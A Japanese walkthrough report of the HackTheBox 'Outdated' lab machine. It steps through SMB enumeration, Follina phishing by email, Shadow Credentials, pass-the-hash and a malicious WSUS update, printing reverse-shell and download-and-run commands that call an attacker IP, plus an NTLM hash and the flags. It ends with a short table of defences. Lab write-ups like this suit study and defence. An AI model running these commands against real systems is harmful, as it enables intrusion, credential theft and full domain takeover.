HackTheBox: Outdated — 手動攻略・実行結果レポート
Nmap
AD + SMTP + WSUS
→AD + SMTP + WSUS
匿名SMB
NOC_Reminder.pdf
→NOC_Reminder.pdf
Follina
CVE-2022-30190
→CVE-2022-30190
btables shell
→Whisker + Rubeus
sflowers NTLM
→sflowers NTLM
user.txt
→SharpWSUS
malicious update
→malicious update
SYSTEM / root.txt
PHASE 1
偵察 — Active DirectoryとWSUSの特定
ホスト名を登録
BASH
sudo sh -c 'echo "10.129.229.239 outdated.htb dc.outdated.htb mail.outdated.htb wsus.outdated.htb" >> /etc/hosts'
DNS解決失敗を避けるため、攻撃の前に全4名を登録する。攻撃者IPは
ip -br addr show tun0 で確認し、以下で 10.10.15.201 としている部分を環境に合わせる。全ポートとサービスの調査
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.229.239 nmap -Pn -sC -sV -p25,53,88,135,139,389,445,636,3268,3269,5985,8530,8531,9389 10.129.229.239
OBSERVED RESULT
25/tcp open smtp hMailServer 53/tcp open domain Simple DNS Plus 88/tcp open kerberos Microsoft Windows Kerberos 389/tcp open ldap Domain: outdated.htb 445/tcp open smb 5985/tcp open winrm 8530/tcp open wsus-http (WSUS) 9389/tcp open adws
ICMP相当の応答が無くても、
-Pn なら調査可能。8530/8531はWSUSの強い手がかりになる。PHASE 2
匿名SMBとNOCメモの調査
共有の列挙とPDFの取得
BASH
smbclient -N -L //10.129.229.239/ smbclient -N //10.129.229.239/Shares smb: \> ls smb: \> get NOC_Reminder.pdf smb: \> exit pdftotext -layout NOC_Reminder.pdf NOC_Reminder.txt grep -nEi 'CVE|email|support' NOC_Reminder.txt
FINDING
匿名で Shares 共有を読み取れる。 内部メモは未修正の CVE-2022-30190 (Follina) と itsupport@outdated.htb を示している。
SMTPの送信可否を確認
BASH
swaks --server mail.outdated.htb \ --from car@melo --to itsupport@outdated.htb \ --body "http://10.10.15.201/"
250 Queued が返ればメールは受理されている。メール処理は不安定なため、後で数回送信する。PHASE 3
Follinaを利用してbtablesのシェルを取得
ペイロードと配布サーバーの準備
BASH
git clone https://github.com/JohnHammond/msdt-follina.git cd msdt-follina # follina.py 内のPowerShell命令で、nc64.exeの取得先とLHOST/LPORTを指定 # Invoke-WebRequest http://10.10.15.201:8000/nc64.exe -OutFile C:\Windows\Tasks\nc.exe; # C:\Windows\Tasks\nc.exe -e cmd.exe 10.10.15.201 19070 python3 -m http.server 8000 # nc64.exeを置いたディレクトリで実行 python3 follina.py --interface tun0 --port 80 --reverse 19070
Follinaの
index.html は4096 bytes以上必要。内部クライアントの到達制限を考慮し、悪性HTMLは80/tcpで配布する。nc64.exeは8000/tcpで分離すると切り分けしやすい。メール送信とコールバック
BASH
for i in 1 2 3 4 5 6; do
swaks --server mail.outdated.htb --from car@melo \
--to itsupport@outdated.htb --body "http://10.10.15.201/"
sleep 25
doneEXPECTED RESULT
C:\Windows\system32> whoami outdated\btables
コールバックが無い場合は、①tun0のIP、②80/8000/19070のLISTEN状態、③HTMLサイズ、④
ms-msdt:/id のスラッシュ、⑤SMTPの 250 Queued を順番に確認する。PHASE 4
Shadow Credentialsでsflowersへ横展開
攻撃経路の根拠
| プリンシパル | 権限・所属 | 結果 |
|---|---|---|
| btables | itstaffグループ | sflowersに AddKeyCredentialLink |
| sflowers | Remote Management Users / WSUS Administrators | WinRMログインとWSUS操作 |
Whiskerで証明書を登録
BTABLES SHELL
powershell
IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.201:8000/Invoke-Whisker.ps1')
Invoke-Whisker -command "add /target:sflowers"出力中の
/certificate:... と /password:"..." を保存する。これは sflowers の msDS-KeyCredentialLink に攻撃者の公開鍵を追加した結果である。RubeusでNTLMハッシュを得る
BTABLES SHELL
iwr http://10.10.15.201:8000/Rubeus.exe -OutFile C:\Windows\Tasks\Rubeus.exe C:\Windows\Tasks\Rubeus.exe asktgt /user:sflowers \ /certificate:<WHISKER_CERTIFICATE> /password:"<WHISKER_PASSWORD>" \ /domain:outdated.htb /dc:dc.outdated.htb /getcredentials /show
VALIDATED CREDENTIAL
sflowers NTLM: 1FCDB1F6015DCB318CC77BB2BDA14DB5Pass-the-Hashでuser.txtを取得
BASH
evil-winrm -i dc.outdated.htb -u sflowers \ -H 1FCDB1F6015DCB318CC77BB2BDA14DB5 *Evil-WinRM* PS> whoami /groups *Evil-WinRM* PS> type C:\Users\sflowers\Desktop\user.txt
user.txt — sflowers@outdated.htb
d28d731ddfc508b64c33723a9d025332
PHASE 5
SharpWSUSでSYSTEMへ権限昇格
WSUS構成を確認
EVIL-WINRM
whoami /groups reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU dir C:\Users\sflowers\Desktop
OBSERVED RESULT
OUTDATED\WSUS Administrators WUServer REG_SZ http://wsus.outdated.htb:8530 C:\Users\sflowers\Desktop\PsExec64.exe
SharpWSUSとNetcatを配布
BASH / POWERSHELL
# Kali側: PowerSharpPack/PowerSharpBinaries/Invoke-SharpWSUS.ps1とnc64.exeを配布 python3 -m http.server 8000 # sflowers側 iwr http://10.10.15.201:8000/nc64.exe -OutFile C:\Users\sflowers\Desktop\nc64.exe IEX(iwr http://10.10.15.201:8000/Invoke-SharpWSUS.ps1 -UseBasicParsing)
悪性更新の作成と承認
KALI LISTENER
nc -lvnp 19071
SFLOWERS POWERSHELL
Invoke-SharpWSUS create \ /payload:"C:\Users\sflowers\Desktop\PsExec64.exe" \ /args:"-accepteula -s -d C:\Users\sflowers\Desktop\nc64.exe -e cmd.exe 10.10.15.201 19071" \ /title:"pwned" # createの出力に現れたGUIDを指定 Invoke-SharpWSUS approve /updateid:<UPDATE-GUID> \ /computername:dc.outdated.htb /groupname:"pwned" # 必要に応じて状態確認 Invoke-SharpWSUS check /updateid:<UPDATE-GUID> /computername:dc.outdated.htb
同期とインストールに数分かかる。
Update is not installed の間はリスナーを止めず待機する。PsExecの -s により更新ペイロードはSYSTEMとして起動する。SYSTEMコールバック
OBSERVED RESULT
connect to [10.10.15.201] from [10.129.229.239] C:\Windows\system32> whoami nt authority\system
PHASE 6
root.txtの取得
Administratorのフラグを読む
SYSTEM CMD
type C:\Users\Administrator\Desktop\root.txt
root.txt — NT AUTHORITY\SYSTEM
ba51f2200bcbaf4797e3993c6b55ab72
SUMMARY
攻略サマリーと防御策
取得結果
user.txt
d28d731ddfc508b64c33723a9d025332
root.txt
ba51f2200bcbaf4797e3993c6b55ab72
攻撃チェーン
| # | 技術 | 成果 |
|---|---|---|
| 1 | Nmap / SMB列挙 | AD、WSUS、匿名Sharesを検出 |
| 2 | CVE-2022-30190 | btablesのシェル |
| 3 | Shadow Credentials | sflowersの証明書とNTLMハッシュ |
| 4 | Pass-the-Hash / WinRM | user.txt |
| 5 | SharpWSUS + PsExec | SYSTEMシェルとroot.txt |
主な防御策
| 問題 | 対策 |
|---|---|
| 匿名SMBで内部文書が公開 | 匿名アクセスを無効化し、共有のACLと情報分類を監査する。 |
| Follinaに脆弱なOffice/MSDT | セキュリティ更新を適用し、外部リンクを自動開封するメール処理を廃止する。 |
| AddKeyCredentialLinkの過剰委任 | msDS-KeyCredentialLink の更新権限を最小化し、属性変更を監視する。 |
| WSUS AdministratorsとHTTP WSUS | グループを最小化し、TLS、パッケージ署名、承認プロセス、WSUS監査ログを強制する。 |

